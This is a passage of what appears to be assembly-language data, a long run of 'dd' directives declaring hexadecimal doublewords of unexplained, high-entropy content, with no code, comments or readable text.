0FDFE7F5Fh, 8FB4A84Bh dd 99970082h, 0DEAE74E0h, 2800AD89h, 789B3558h, 39D957AAh dd 0F6805A2Eh, 58CFE09h, 0C0966137h, 1B1F2540h, 47E094F3h dd 0A2AC84D5h, 7C70004Ch, 885D4A25h, 48A098FAh, 9E3F2067h dd 0C8126880h, 254E427h, 0CB18AE73h, 16B0CFFEh, 13E8149Dh dd 0B712B408h, 61882973h, 44D808C9h, 48B8A24Dh, 662F09BCh dd 34D8231Eh, 9491C461h, 0FDF1482Ah, 0F40A8062h, 1EC7184Ch dd 97111D68h, 0B0D850A5h, 9136FD02h, 0E4C64B62h, 0CBBBD400h dd 497232A8h, 2F300F8h, 857881C0h, 64148C90h, 6C7B6DBh dd 0C4BF7107h, 0E4E6EB50h, 9F3418E8h, 6386912Dh, 4CCC8B5Ch dd 0AC250824h, 8056403h, 8DA90B32h, 0ACA44890h, 5E791E1Fh dd 239E6E83h, 32487399h, 64C1BBB0h, 5F4EC560h, 8CF56606h dd 0A059C454h, 16259C0Ch, 0FA2805Ah, 7EA4E8h, 0DE094513h dd 91254A6Bh, 2F001863h, 0E88B2CD6h, 0B044E9A0h, 0F585A700h dd 356F65AEh, 476FEB3h, 2FE7EEF7h, 34D0B075h, 0D045984Ah dd 0A845AC47h, 0F40055A0h, 13272A81h, 54DF3922h, 0FDFF1880h dd 0CB0701EAh, 0DD138F7Ah, 0F417B561h, 5AAC1C40h, 192D3DBh dd 90223C41h, 0C880B785h, 72ECFA3Bh, 27CBA509h, 163081B9h dd 0E44844A4h, 1CEA0061h, 0F3A2F775h, 6301EE89h, 36FC33B6h dd 5C52FADFh, 3EF04466h, 0B581A3C6h, 741E8DA8h, 32A442CBh dd 69F8F91Bh, 1D008832h, 62AF5594h, 4F035AF5h, 0D5F334A1h dd 0D2EBC838h, 0EA070F4h, 2FE4A590h, 66684A53h, 0A20B1820h dd 3B051316h, 6F0E5C21h, 79A9B0C0h, 0FFD80062h, 454FCD72h dd 7A136D6Eh, 0A804BBA0h, 7948267Dh, 5ABF2E80h, 186B565h dd 36AF4219h, 9791D80Ah, 0A432D530h, 0E6B120C3h, 249AABFDh dd 4CFD4898h, 0DA00B4F8h, 522997CFh, 2CCF21Eh, 88DD8B08h dd 64510C1Fh, 0BB37CF01h, 8D62CD8h, 0DA800008h, 0AF4B618Bh dd 2A165890h, 18818ACBh, 0A03D6734h, 78B6450h, 131DAFCAh dd 9AB5B2A5h, 0ACC04605h, 0C987A981h, 64220739h, 2EC2A5C6h dd 35F2FC64h, 0E8393003h, 0B1D7489Ah, 0B9D8D847h, 0A67F00C5h dd 63090B34h, 39009D7Ch, 939F102Bh, 96209EA2h, 0E8094B74h dd 1B667440h, 0B41588h, 86A5D604h, 367FC7DBh, 5A61D100h dd 5D515895h, 0A850F744h, 2313282h, 1BD24777h, 74D1B9F1h dd 0CC48ED11h, 883B4AC0h, 0A0001735h, 50489562h, 0AD2F1Ah dd 0D258366Bh, 2E438880h, 1C089A4Ah, 42B1834Bh, 0C6F176B9h dd 375884CBh, 38CC2C60h, 20BA6742h, 909489C5h, 0AE9A5713h dd 0D42E004h, 5082790Bh, 5881DEADh, 208C2EDCh, 13A4444h dd 948813C6h, 4F9B5008h, 0AAF020B2h, 6F00713Dh, 47B75DBDh dd 776D772Ah, 19C8E0CCh, 70419A8Ch, 0E0C9156Ah, 2830C240h dd 0B8E57FF6h, 806220C0h, 89E1CB0h, 9F00DC93h, 93FFF4B3h dd 0F07E666Bh, 8F4829A4h, 24405A70h, 0CAECACCDh, 0AB7E32BFh dd 0F8E08CB8h, 0DF407B1Ah, 0ACC144F1h, 0C81C8650h, 80596331h dd 5400DE40h, 0D66C69B6h, 88AFF039h, 533EE90Ch, 9FC19CC9h dd 16DC4C80h, 523710A2h, 0E502C445h, 0E6B3E1D5h, 0DE13B844h dd 5030AB19h, 0C957BCh, 4697ED0Bh, 0EF02A38Fh, 2F3A410Bh dd 67BC00F2h, 2CF3145h, 7E2CD7CDh, 0EC82D659h, 9A21E32Fh dd 0A205DF74h, 4CD3000Ch, 7313D2B5h, 6F60E21h, 36A0240Ch dd 7934CFB4h, 9C77A104h, 2090D953h, 924C507h, 0FE1B197Bh dd 70300844h, 84CB210Eh, 0C87814D3h, 0BE003444h, 176BB310h dd 8539599Bh, 6AD9001Fh, 0EEA40597h, 232B021Ah, 0CA9ACBBAh dd 0A0B42F0Bh, 1F912F81h, 8C8A06A4h, 0D85D8DDAh, 0C0E05B24h dd 3D25A0EFh, 77F98C5Fh, 9B9000C4h, 0CE1E306Bh, 1116B2ABh dd 0C044A094h, 0E7400C40h, 0FD78EE42h, 0E0BDA526h, 46CB225h dd 40CC7F9Ch, 92A52DDBh, 47763882h, 67027459h, 4086C25Ah dd 524041h, 82AF8C80h, 0CF438114h, 0DB70A526h, 0B490FD12h dd 0F4F00Dh, 4E53ACE1h, 6A5E9A10h, 0E2A7B107h, 833E44E5h dd 0E216589Eh, 0E3B8801Ah, 0F024CA76h, 0E7F50411h, 0C8FD7906h dd 91019590h, 7B483EEBh, 0E0CB3AA8h, 89D102h, 90DAF91Ch dd 81F5A974h, 45198B07h, 0B991FBEFh, 0C9FC7F69h, 1ECC09ACh dd 0A3826CBAh, 0A4725FA4h, 8019103Bh, 0FC83BD86h, 9B5D3Ch dd 0E7638F5Ah, 0C0DC160Ch, 5305F178h, 0B6421807h, 61B4BCC2h dd 52141E04h, 0EA4B007Ch, 0D66E0350h, 59B50C00h, 0C2470509h dd 4F0F3852h, 0E0919801h, 0D8840D73h, 0EC38547Eh, 0E24C7548h dd 0E572007Bh, 0ACCF8B9Fh, 81E90084h, 0A67AAE23h, 0AB604491h dd 437DF5B9h, 2DFD3E37h, 16B7CE81h, 48CAACB3h, 900986F0h dd 64E47E43h, 887D00D4h, 0EABDFF3Bh, 4F078355h, 0B391B469h dd 0A89DE9B3h, 5B1A2ACDh, 7DC52A6h, 0C317A58Ch, 4FA0D4E1h dd 2202FCDEh, 0BE9C3585h, 493879D9h, 7A29C898h, 97063216h dd 9271CA0Eh, 0DC2C5423h, 0A69B3444h, 0AF610B14h, 1E684CC2h dd 39190F6h, 0D21E4C7Ch, 0FB1BDEE8h, 0E800994Bh, 3B61CCB2h dd 0B938C2ABh, 6C66B5A9h, 2FD0C703h, 0C0DA3269h, 0BEA77C11h dd 6E49C09Ch, 5C000375h, 0AA418B25h, 198AEBh, 0E6E76F06h dd 0DD088D2Fh, 0CC0D9603h, 0A5FEEE26h, 0A519BB80h, 632B09B2h dd 0D448ED45h, 88A46B5Eh, 0A30E78B0h, 82739D7Bh, 0A07AFCE7h dd 0DDE33A90h, 0B633033Bh, 41854FB4h, 0FE5CC3B5h, 0C1D771ABh dd 683FCBE1h, 0F180C020h, 7BC76AC9h, 0EAE807F9h, 80532047h dd 8DE270BEh, 0CC46633Eh, 0E0C09F20h, 74BA10A0h, 558E0EC0h dd 0FA475945h, 32FEA7A4h, 587A2B76h, 0E2133403h, 1E79EA9h dd 0AA0F4441h, 60E661FEh, 2C4A8734h, 1031C98h, 0A5EA021Dh dd 0DD8775D7h, 2472CBh, 390B1955h, 0BE9EA0h, 1318C5CDh dd 0C31D277Bh, 0D1987278h, 61889305h, 94D4C10Bh, 2148F022h dd 2A58DA79h, 0D5432C20h, 3DF81D4Bh, 0C89A0073h, 635AEF72h dd 0BA020493h, 22F683A9h, 588070FDh, 8D6592B9h, 114C75F8h dd 940B396Fh, 13A96635h, 8894FB34h, 9340C01Eh, 0B478F1AFh dd 0F8990516h, 84EC901Ah, 0E0B88906h, 1112E7A5h, 1044BE66h dd 0A488E41Bh, 0BC17025Eh, 0D45B352Eh, 0D8823062h, 0F042E1E4h dd 0AF11C0C4h, 8C2E0AC9h, 89A63E7Dh, 0D0C817BCh, 0F1BAF5D4h dd 9731609Dh, 94D5000Fh, 0B28AF3E1h, 0E80C1618h, 799344B5h dd 0B8A103BEh, 5ADEE146h, 0F41D718Fh, 14A6E03Eh, 7429601h dd 0D5F7654h, 0FAD1E710h, 0F8E1D629h, 6C97BF16h, 576843F0h dd 697F2640h, 24844080h, 3700DB19h, 8980415Bh, 5CC4A912h dd 6909A0CBh, 5C442F36h, 4745CC00h, 26E2D190h, 6189077Eh dd 80A24180h, 29F05E86h, 6F19D91Fh, 0CE538C49h, 0FD9E2918h dd 0AAF90098h, 0C2E4A8A3h, 9099C8E8h, 0F00A3E82h, 1067E009h dd 282A4EB0h, 7A8267ACh, 98894C34h, 0E848C825h, 6300CADBh dd 6A789130h, 3C5AE87Eh, 0FB84B8D0h, 874B1172h, 10B22404h dd 18152288h, 0B6FFA87Ch, 0F70046D6h, 6C19C07Eh, 488CF0A2h dd 18079F73h, 578F1BC3h, 0C8A645CEh, 0B06B638h, 3B447604h dd 0CC1F4A89h, 8D4CAC0Ch, 0A244C46Ch, 458718ACh, 0CC4A6037h dd 80E82B8Ch, 33C84B18h, 8CA49h, 0FC9E9FBCh, 7CF6A8A0h dd 0A5244300h, 35B6CC84h, 4AA4A7Bh, 0D8932778h, 323DE9CCh dd 258F87E1h, 0D4F10FC0h, 0CBE01A57h, 4261C00Bh, 0B9968EBBh dd 0FB981B00h, 7EA88C62h dd 42664A37h, 0B5252EBCh, 0DBA2660h, 6C89F090h, 12CD0883h dd 0C87B94C7h, 2D5C7680h, 0E4B1C048h, 9D7FEFh, 0AB162B56h dd 0F73B780h, 80A46348h, 1C74011Dh, 2827E869h, 308C5ACh dd 0B6B5E703h, 715F49E6h, 68D6D00Bh, 1EFC588h, 28AD3125h dd 7CF1BD2Bh, 0B2CC009Ch, 6D146315h, 27810E4Dh, 0F26F56EDh dd 5380400Fh, 453398A5h, 7C010D00h, 1343B582h, 6EDA00ACh dd 64EFD477h, 0B11F56A8h, 2C01C38Bh, 0FAA47BD1h, 8C2EC8C3h dd 847E5466h, 5B4C9086h, 1E64401Ah, 78ADFA27h, 2D009095h dd 15E70086h, 0CF5CB4ABh, 5A00A80Ch, 33B111BCh, 0F99424Eh dd 8FC89D46h, 0D8600593h, 7DBCB01Dh, 432159F8h, 503890CCh dd 695A7B84h, 982EE440h, 78A7FF20h, 809A0424h, 0F50A2A43h dd 0C6604208h, 56B2AC22h, 25C76000h, 0AE85743h, 5184B501h dd 8F3FBD34h, 0AC8EA0D7h, 826A1252h, 0F30808DBh, 0AB7F7940h dd 4F67B76h, 55446AA5h, 83CBC90h, 0DEB866h, 0CE8BDA86h dd 5B0BB68Ch, 0A2AC4B61h, 105A4230h, 2A882C9Ah, 44372F63h dd 0D9F32811h, 1BDC64A4h, 81BBAD32h, 60C4E6h, 35CC45DDh dd 146ABCF6h, 6694BA00h, 0A1248C09h, 5CE70B08h, 884DD29h dd 0B044C73Eh, 0D346BC8Eh, 9E5C4B77h, 0E3270090h, 5A43BFE2h dd 788C0680h, 30ACA8C4h, 38724102h, 87BCB31h, 0A5802C0h dd 0B8504898h, 0BDBE3700h, 0AA8AAFE7h, 0EFB00084h, 0B4ACA49Dh dd 3B046EB7h, 369FEC8Bh, 3E47E087h, 0DFD07C47h, 1849069h dd 0D78175B5h, 0F25D8A48h, 0AD788840h, 86ABA80Fh, 0EC2B6A2Ah dd 377D7F01h, 0A82D7798h, 0DC00A522h, 0AF9C0C1Ch, 0B6E6D5h dd 8B411737h, 16F3811Fh, 0D1006674h, 83E9B552h, 9607CFACh dd 0C10E3EACh, 0EF477133h, 53BFC0AFh, 30C076B3h, 82A3963Bh dd 0E6B701ACh, 89B20670h, 0E0092AFCh, 0BC7A99h, 66C143B6h dd 0AE77F108h, 0B52F8C04h, 0A8E9B16Ah, 0D574C322h, 7E542500h dd 0FB080FFEh, 1F790216h, 70FDE163h, 5247602Eh, 143B2D9Ch dd 0E26F7121h, 50B17509h, 83492480h, 15008611h, 4DF54394h dd 3AAFF888h, 0E681B32Ch, 0FD42DBB4h, 0C595FC76h, 92C1D896h dd 41E4BF3Eh, 0D3720045h, 0EA09C367h, 0CB5D0AF5h, 37D5032Ch dd 0BB63EF13h, 0D34822FCh, 0F81BE713h, 8167A8D0h, 0E4933AFAh dd 0FEB7C300h, 9A8C878Bh, 0A21B3706h, 32F91E7Dh, 16485942h dd 5A88E52Fh, 2C7880C1h, 50E2A01Ch, 0B07F4700h, 3C62EB04h dd 589A2E98h, 74142FFCh, 577B0300h, 1AC98197h, 45F001Dh dd 9BFB364Dh, 7626A562h, 6643542Eh, 114100E3h, 818EAFFDh dd 0C35AB1CEh, 0CAB8AC20h, 0DD47009Dh, 0FCA7E785h, 0B308DB5Dh dd 83011BBCh, 0F6BFF51Eh, 5C0800A5h, 0AD7F96E5h, 342B7612h dd 240068B2h, 4F578660h, 0B200F940h, 0A5EEF769h, 0A716428h dd 68BE5F11h, 82AA17BCh, 78D9C0CCh, 78627F00h, 260D95BEh dd 2366970h, 0F161375Eh, 4300B07Ah, 3E8ED6F3h, 0B9AC1BADh dd 64C680ECh, 0A5491029h, 7A7C875Ch, 26C05748h, 8000009Fh dd 0D37F7B20h, 548C242Ah, 0C7CA0130h, 70BAA574h, 0EF67848h dd 19C240Eh, 81D74475h, 62812CECh, 0D0C6B9CFh, 91076ADBh dd 0BB3DEAF3h, 6BB38170h, 0BC2CB088h, 0FD8A80C8h, 13568F2h dd 78F43Fh, 0DDA9923Ch, 2954AC3Fh, 249CCECBh, 76C71178h dd 76B5A307h, 0E9C2FE88h, 92864E5h, 0C3A9CBE1h, 4F554CA0h dd 7500A024h, 0A802097Dh, 0C029492Dh, 9AFFC1B4h, 2E609774h dd 0C6612110h, 0AF1F0012h, 0FC8D3307h, 0D11D9E94h, 0A8806A49h dd 0A4E5C59Ch, 579302E1h, 8CA98AEDh, 427C48C4h, 0A5790D03h dd 8F1BD5A2h, 10909944h, 0B4EEB5ACh, 40AE44C4h, 38906D63h dd 0C9300078h, 58E4DC31h, 9B0CFD4h, 8B64160Ah, 0E640C4D3h dd 9DD4489h, 0E0AA7A84h, 22794A5h, 0D850280Ch, 457A4CE4h dd 0F4061903h, 0C211C064h, 0C20880ECh, 5A54AE39h, 8A835A9h dd 9E800D60h, 65696127h, 282C7083h, 708FF81h, 45197E8Fh dd 0D0561025h, 0D4FA606Ch, 0E5E12160h, 4A1BE1D6h, 797040F0h dd 8A3719C7h, 0B4B7EB16h, 88126C09h, 0FB08EC12h, 115982DDh dd 5844445Ah, 0B936C302h, 4BA257Dh, 94B9CBh, 0F8D14F41h dd 0AFA863h, 386C816Ah, 0F9C808ACh, 0BC89C89Bh, 28E8D079h dd 26CC54C5h, 0BF805D8h, 0E0E8697Eh, 513ED67Ch, 0A017093h dd 0E3FE2D33h, 80396637h, 40F8472Ch, 0AE680CBh, 0B76D750Fh dd 99480C8Ch, 209F6E7h, 0D8F3D153h, 38606425h, 1F880141h dd 0C3A01944h, 40F4F805h, 67FC7144h, 438E69C0h, 998A12h dd 80EDA5B8h, 4963377Bh, 685E21C9h, 38769198h, 8887F1A8h dd 314C9F2Eh, 0ECBFE123h, 344F9DD5h, 1BC770C1h, 558B6983h dd 4100AD47h, 34E6466Dh, 0E098DF6h, 206E5FA1h, 0D8862480h dd 0AB00E81Ch, 0E4DDE970h, 659EDFA5h, 0C54638A6h, 8CA20Ch dd 0BD06D44Ah, 68C39Fh, 8F77C68Dh, 0E13EB160h, 0F8438601h dd 0E6854796h, 0DB44888h, 76803281h, 0D9020145h, 0AD643471h dd 0F06A6304h, 42804B4Ch, 0C7902F15h, 0E67E8418h, 9D94D654h dd 66A36B0Ah, 9880F019h, 0B140DD0Fh, 0B66E0743h, 51B8F5F0h dd 2A1E9CB5h, 9DEE6020h, 0E0CFE075h, 14EA39CEh, 0C589B000h dd 8D84C48Fh, 690A0814h, 4400762Ch, 121D6EC0h, 24748316h dd 2C8E5EAEh, 9CC104ABh, 0CF48A83Ah, 706480CDh, 346B216h dd 5EB442F1h, 0EAB84769h, 5BB8D179h, 2F54EE48h, 0FBF8199Ah dd 1D165908h, 0C81F8F64h, 0FF437105h, 88E26888h, 8BFE4CFBh dd 9A5B640Dh, 8F15069h, 0E322602Dh, 96C358C8h, 43D9E1D5h dd 20171A40h, 54CC6334h, 60ACBCFEh, 41B3DD16h, 0C1976B00h dd 20E2CA6h, 0E15B16D5h, 63FC08CDh, 3020931Ch, 0E2A909E6h dd 0D0000566h, 0B2925998h, 0B80D88D5h, 0E4675900h, 282BA400h dd 7226A505h, 0A0ABAA2Ah, 0B340B4B4h, 3EB43208h, 60D99967h dd 12D08A4Bh, 48E7ED45h, 84A0CB27h, 185F71CDh, 69C2C132h dd 76D122ADh, 0E00550F3h, 481CA679h, 0E750186Fh, 63872CD5h dd 7EE20900h, 0BDB71018h, 39F52200h, 84662F1Fh, 0FD5100EDh dd 8D018CB5h, 0DE4FFBAh, 0F9449197h, 4E4EC84Ch, 7B48410Ch dd 20C2AE13h, 0B90517B3h, 0B46C8EF3h, 74A834D4h, 4CC0C34Bh dd 50D98800h, 0DCE1104Eh, 5A4400F2h, 0B7C686EFh, 3C90F0BEh dd 13009490h, 5B8164EDh, 0B9E13F3Ch, 0DE668828h, 0D66E5705h dd 38043CF2h, 0B29F3756h, 8D250554h, 58AC7E85h, 0CF5E2F03h dd 0BDE08FE3h, 977C99B5h, 0FBA41095h, 456E02A8h, 1D42B4A5h dd 0C3249C80h, 0AAE282CFh, 0B12B0D0Fh, 0E1DA80BDh, 0CAA89B7Ch dd 9BCE738h, 500828AFh, 54434BF0h, 5080E2AAh, 0BFE783Dh dd 46179A03h, 95668CDCh, 0E086A0D0h, 90F75B42h, 22F41E00h dd 0CC7F9104h, 0F8C2D76Ah, 7D52948h, 15221B21h, 0A9808204h dd 429C4680h, 70B100E7h, 3886890Eh, 406C004Ah, 18D474C8h dd 3D01D34Eh, 497EC043h, 35E156CEh, 0C161083h, 0B10E110Bh dd 0C0ACCFA9h, 71A8A0DEh, 4494B81Dh, 0C04EA6C4h, 80A68412h dd 1AD0C84Fh, 0A913420Ah, 0F0905081h, 3FECB682h, 6640D054h dd 3929BE42h, 88CA279Fh, 4A017410h, 3CBBA3D1h, 2FC486BEh dd 0B0667949h, 0F4EF00FAh, 73243893h, 0E263B5F6h, 0F21AC808h dd 6018DC7Fh, 0B7A51D56h, 0A0303FFFh, 1014B902h, 40072CA9h dd 0ECB18F08h, 518E3980h, 0AC1AC6h, 6C315762h, 6D5EE468h dd 0BB340h, 80D964E2h dd 88896074h, 20C84328h, 0C09FC500h, 64CFE4E1h, 2017014Dh dd 1BD02946h, 91C3830h, 79377F7Bh, 7CBD1EF8h, 44689C24h dd 0C068BC2Bh, 599EBB68h, 3F6D0064h, 4A31895h, 0D83808F9h dd 497BFDFh, 7875DD2Bh, 80F68084h, 0D104B421h, 0AA409044h dd 51A7FA21h, 5E2E5B07h, 25718047h, 84DE3517h, 0ECECA6B8h dd 7A67E410h, 338060B6h, 350E6E73h, 0CF5404B9h, 0C525BCC9h dd 89ECB26Ch, 0F9848040h, 0B1A8A3BAh, 521381D8h, 0E4BD3B7Bh dd 10011417h, 0ABA72589h, 843703B2h, 0FE58374Bh, 7D439081h dd 25442381h, 15CC2047h, 2142370h, 0C9D71DCh, 0D879C143h dd 1800EF10h, 80AA2A42h, 1F5C2587h, 0C0B13F50h, 61CF02B7h dd 0E2A24690h, 54013CC6h, 6F063381h, 25D840E0h, 2224B8F3h dd 3A1692CAh, 0D403E480h, 0A4A9B537h, 0F18800F8h, 0E7ACE8E1h dd 2CF8E9F0h, 0C9704437h, 4578004h, 8148367h, 0FF80543Fh dd 0BD9B534Ah, 1007C52h, 6B1DAC5Fh, 355B2EFh, 0C5AF42FEh dd 0B6C25CC1h, 9466C062h, 0E9C91F01h, 0EB34108Ah, 0A3493080h dd 0A7C437Fh, 0B02F40A0h, 76A4E409h, 0D1509047h, 25BF0257h dd 0CB8CAEC0h, 5F01D052h, 0A04C9DCDh, 0A980FAFDh, 2D81DB86h dd 1100AD31h, 0D0508F4Dh, 3E8A667h, 841CD42Bh, 0B5C8FDDEh dd 5F2E44F1h, 0B4075605h, 9859CEA6h, 12CA410h, 56302D06h dd 20B1BCB6h, 0AA27FA30h, 34E6A3h, 0E5427F79h, 0EB0B76B3h dd 7B6E4C13h, 45161603h, 0E85C8856h, 7D600C7Ch, 4FA92609h dd 0B88BC80Bh, 2E7C7043h, 400CCB2Ah, 61D89A19h, 119D6904h dd 68805244h, 58C208E4h, 6B01EC96h, 0BD3859A0h, 0EBDE33Ah dd 14344508h, 0E11B8061h, 0C043FE9h, 8A440F83h, 0C4E52118h dd 0BE88AC11h, 0C89F0F81h, 0B2313973h, 7AA0C87Ch, 9C3A3D1Dh dd 91A00C8h, 0D6F9620Eh, 20A95E3Bh, 1FA2CD78h, 4BEC7116h dd 652224B4h, 0E80710Ah, 8B7FA444h, 0BC895EBFh, 8DFE20C8h dd 10E8E24Ch, 0D10B239Eh, 5003ED94h, 0CBC2D5D2h, 45009459h dd 0ECC5AB42h, 0DCFD2A95h, 0A84730D0h, 89453521h, 5783B300h dd 4FB8867Fh, 0AAAC2F1Bh, 5D58C818h, 70647648h, 8F748A17h dd 20E65062h, 7DA9C7C8h, 8A400496h, 0FE27887Eh, 17A5FE25h dd 0CC34F576h, 9E16B114h, 0A00BAFCDh, 0B2D0E9A8h, 5E800828h dd 4AB244Bh, 0B8567712h, 0B68FAF02h, 0EAEC80E1h, 0A0C5A5E7h dd 3BAA90F8h, 25A491C2h, 0A2082008h, 0B7140414h, 569F84BDh dd 64A378h, 97D8F934h, 0B5F1DEh, 0D68AFF1Eh, 0E69F4CECh dd 0E901472Dh, 71130DF8h, 18D798D8h, 0F01CE8B8h, 9B424454h dd 0E0B53386h, 3EAF0178h, 2903AAE1h, 37D39E46h, 0F0391FE1h dd 0BC1404C9h, 4AE07554h, 9047E444h, 0C17FA440h, 63EC6BDDh dd 4A4E010Fh, 0CB5A8058h, 48F86DF4h, 0E4C040AEh, 0E877AD57h dd 6707EF79h, 0DD2D5B6Fh, 0D31141A0h, 8508CB09h, 3479EC18h dd 0DD006BF7h, 22CBB642h, 1DF7B04h, 4BC1585Dh, 0F2069F0Eh dd 0AB2D8CD2h, 1CFE36h, 0A4B410C7h, 0B5012829h, 784C0C77h dd 64CE80E5h, 5EA200ACh, 0C181F34Fh, 8C007B24h, 9E089B01h dd 99B705A1h, 0DCB2805Ch, 0B1A29438h, 0A88DE000h, 8187B99Fh dd 0C55107F9h, 4484C6E8h, 0C3F090E5h, 0BF0361A2h, 47FAD1E3h dd 0A884AC41h, 0F21374A2h, 6986027Fh, 38512A4Fh, 1244A409h dd 913AC080h, 41AA3BABh, 0B6F44704h, 6FECE4FDh, 0EFE1B800h dd 691CE804h, 0B4961242h, 2E02CA5h, 0DEE602E1h, 40438050h dd 42DC1892h, 54784700h, 0A0EA2286h, 0E00F488Fh, 50278710h dd 0AA8BC1B8h, 2ABC798Ch, 0FE6211ECh, 16AB22DBh, 2BCA8Ch dd 2A565C1Fh, 0CB0B7C99h, 988A373h, 926471C4h, 8400BBA4h dd 70648C24h, 46D80012h, 1EB4426Eh, 2207E066h, 215D3272h dd 76D75A80h, 0C90F6028h, 103444E7h, 8C278B05h, 0A0886908h dd 625F0353h, 0FF7C7B03h, 72EAB7E9h, 100474F4h, 0A22A7A9Eh dd 63C4D8E9h, 841B247Eh, 0BCA5C019h, 0CA0400F7h, 0E36D1E38h dd 9CEAB7A6h, 0FC8B5F4Eh, 202C991Dh, 0DC502E00h, 9EEC20F1h dd 0B4D703FAh, 9A284464h, 5F46D2C0h, 36071C7Eh, 67C2DECCh dd 0AF9EBD8Eh, 0E3E4690Fh, 0C51BFE78h, 2E0258E3h, 0A5164FE7h dd 0A047445Ch, 0E98BBC10h, 2E1000A4h, 0F0789B6Bh, 0BEF0D5C1h dd 5C06EF02h, 601D0854h, 7523550h, 1B8B966Bh, 8FAD4h, 2BACC0C3h dd 0FE04817Eh, 0E15646A2h, 799EFC8Ch, 0DDBA00ECh, 0F3F4987Ch dd 2C00B795h, 5DBC86A8h, 9DA514DFh, 9C619432h, 0A608401Ch dd 0A09480FFh, 7933B440h, 7A1B0144h, 5DD1A67h, 0D6B9F0B6h dd 6D6EFB2Ch, 5ABAFA0Bh, 3984B0F8h, 0D104F8E1h, 0E088A91Ah dd 6C9507FCh, 0C39E001Ch, 831431F1h, 0C558578Ch, 50458008h dd 1ECC41A2h, 1415DE2Dh, 7A250838h, 7701CC44h, 671F3C1Ch dd 9828462Fh, 46ABA2C4h, 44101979h, 0CF487EDEh, 3A9609FFh dd 0C084CAE2h, 29C289C8h, 8415B2h, 5D8A2A1Eh, 0F900E0CCh dd 87A8AA72h, 3EBC19h, 42E7B907h, 0AD2EBB14h, 4AF48F5Ch dd 0D94C88h, 0B6220B66h, 0BC091C08h, 3E14CA00h, 329B8516h dd 0FFE525DCh, 4278C804h, 0FC7C6634h, 28C54BA0h, 1378D400h dd 0C8C0A5Eh, 42188B27h, 0AC7FC1B8h, 219E2584h, 8A6910E4h dd 0FC284B8h, 2C8A38ECh, 4AC627Ch, 0A10B7C10h, 0E7D02F20h dd 0A2923D63h, 22FB1B16h, 2880E6F0h, 70F5783Dh, 0A8E44612h dd 0A41C58F1h, 4C1812Dh, 0C84B58B8h, 0B6019564h, 0C588334Fh dd 36E0B349h, 2F8B8CAh, 0A9E0C09Eh, 80A5F18Bh, 93C8F4FCh dd 6D47D700h, 18B25A1Ch, 0D31B025Ch, 81B57852h, 0F9CB8661h dd 1038AD2Dh, 4A09DC8h, 13565EA3h, 45658009h, 6FE73781h dd 0CC541C23h, 44C98884h, 71A4086Eh, 52B1CF80h, 0F66B2486h dd 1F4B0E97h, 0A8806D56h, 6E5329Eh, 8F46BB13h, 3D0000B2h dd 0FA911453h, 0F5EE7E75h, 22679B00h, 0B260E62Dh, 0E9FD0B68h dd 0AA8271E5h, 47EF1B4h, 0A66E6100h, 0B6F903h, 5486E8FFh dd 45FE7BB5h, 7500E0E0h, 0E1DA9AACh, 3A5E8F3Eh, 541F65C0h dd 52A58Bh, 2C44712Ch, 1F8C44Bh, 3913F438h, 0DAB26DB6h dd 43799CC0h, 886CD503h, 0F084A966h, 2E62AB0Dh, 60144150h dd 0B2B5DC51h, 30BD2B00h, 0FE3637A2h, 0C86E4BA5h, 5D1F31B4h dd 0AD80CDB4h, 1061CE4h, 8B7A0075h, 0D630158Ch, 512CB279h dd 0E14034C7h, 0E4751Fh, 55B687EDh, 397C8A35h, 0E00AB78h dd 123E0A7Dh, 278CA1B2h, 0C8EB1605h, 7E28E809h, 0F6872E1h dd 630A1EADh, 0AA7BBD04h, 5D962020h, 0E9740106h, 6BA07EEAh dd 103C3836h, 7F01837Ah, 104445ECh, 0ADDC3039h, 87D988h dd 0FA2D82B1h, 2E75476Dh, 0EEF5BE00h, 76DB9992h, 1A54BEDh dd 0E7E4B164h, 6CC02381h, 409A9046h, 87887FA2h, 489004Dh dd 0F2270E96h, 0C1019486h, 0FF01C7A9h, 86C211Ah, 0D8B2A4h dd 761C377Ch, 719CA6h, 527FC10Ch, 1DACC789h, 278018A0h dd 8E467B25h, 40A36AB4h, 0E69500BBh, 9111816Bh, 3788002Eh dd 0E1334270h, 4407B574h, 26CBFB77h, 0FE403424h, 4E9BFF0Ah dd 0E5D4A600h, 0A483F567h, 39EE057Fh, 0C59C5447h, 4360A26Ch dd 0A18200C0h, 0D04A0BE6h, 29CE02F2h, 8C5C8B6Fh, 0C40FB842h dd 64E085A2h, 9E83FCC5h, 0C25FDAD7h, 41D0F41Eh, 0C0601903h dd 0C0014AC6h, 0D8FD66ECh, 29D0755Bh, 0B770B0A2h, 88DF6804h dd 0ED24C534h, 4700A056h, 2DA47C28h, 0D7C406ACh, 71D66E8Ch dd 4FDD48A0h dd 2C0789E8h, 0D35755C9h, 4EE745C1h, 0CF1D69D8h, 0AFF67729h dd 0C1CAE301h, 2828947Ah, 25FCE7C5h, 425F0780h, 91C15E63h dd 304C36B8h, 75026F27h, 2976AD71h, 15F4913Ch, 0C2C0C510h dd 8B4CC800h, 6BC1E025h, 0F6780E04h, 0AAA5EC23h, 4B88B38Ch dd 0E0F4D0C4h, 0B560B0A6h, 0A2C88C98h, 18791F12h, 400D4088h dd 8D4CAC0Ch, 0B7A48010h, 120EEC56h, 97FEC0A3h, 74AE483Ch dd 4CAA5140h, 108C0731h, 8028B001h, 0A9358F6Ah, 2CB58D19h dd 54295F51h, 0C81E4A3Dh, 649EC015h, 0ADF325D8h, 0CF43D900h dd 376353E8h, 28A0B561h, 0A4CE2886h, 0B4E08C4Ah, 0B610F5DCh dd 0C07D9FE1h, 7800E8ECh, 43A081DBh, 28EFAFABh, 2086B71h dd 9A581D8Dh, 9E01A801h, 0C534278h, 1C104581h, 4A87FDECh dd 89CB4C4h, 746E97h, 7C6E4CE6h, 0AA9AFADAh, 0A450FC91h dd 0D9640B87h, 3070D090h, 44B82B7Eh, 17AAB723h, 1F980B57h dd 0E78F245Bh, 3A220214h, 2BD0F6E0h, 0CB8BE2F8h, 0ED025C8Ch dd 0DCE42001h, 4C090F2Bh, 0B7040F2Fh, 2781FD42h, 0F1D5CA4h dd 4C50F04Ah, 10FD8434h, 5E5DA9h, 8856E77Fh, 0CDE46960h dd 2268E15Dh, 47A894E5h, 0C91C0C8h, 5CA74D86h, 5007013Eh dd 9B78C342h, 3860DC21h, 79AB44AFh, 14907F77h, 0A8476B01h dd 8E16963h, 0CACC6092h, 0D8111ACh, 62003322h, 0C233871h dd 1D13010Bh, 7D50168Eh, 7C48E100h, 855177D2h, 8184252Fh dd 2FFAD13Ch, 0BD4BE9CCh, 0DFD4D898h, 30EF7800h, 9EB2D080h dd 75B5032Ch, 77B336Ch, 1A48608Fh, 0A800EFD4h, 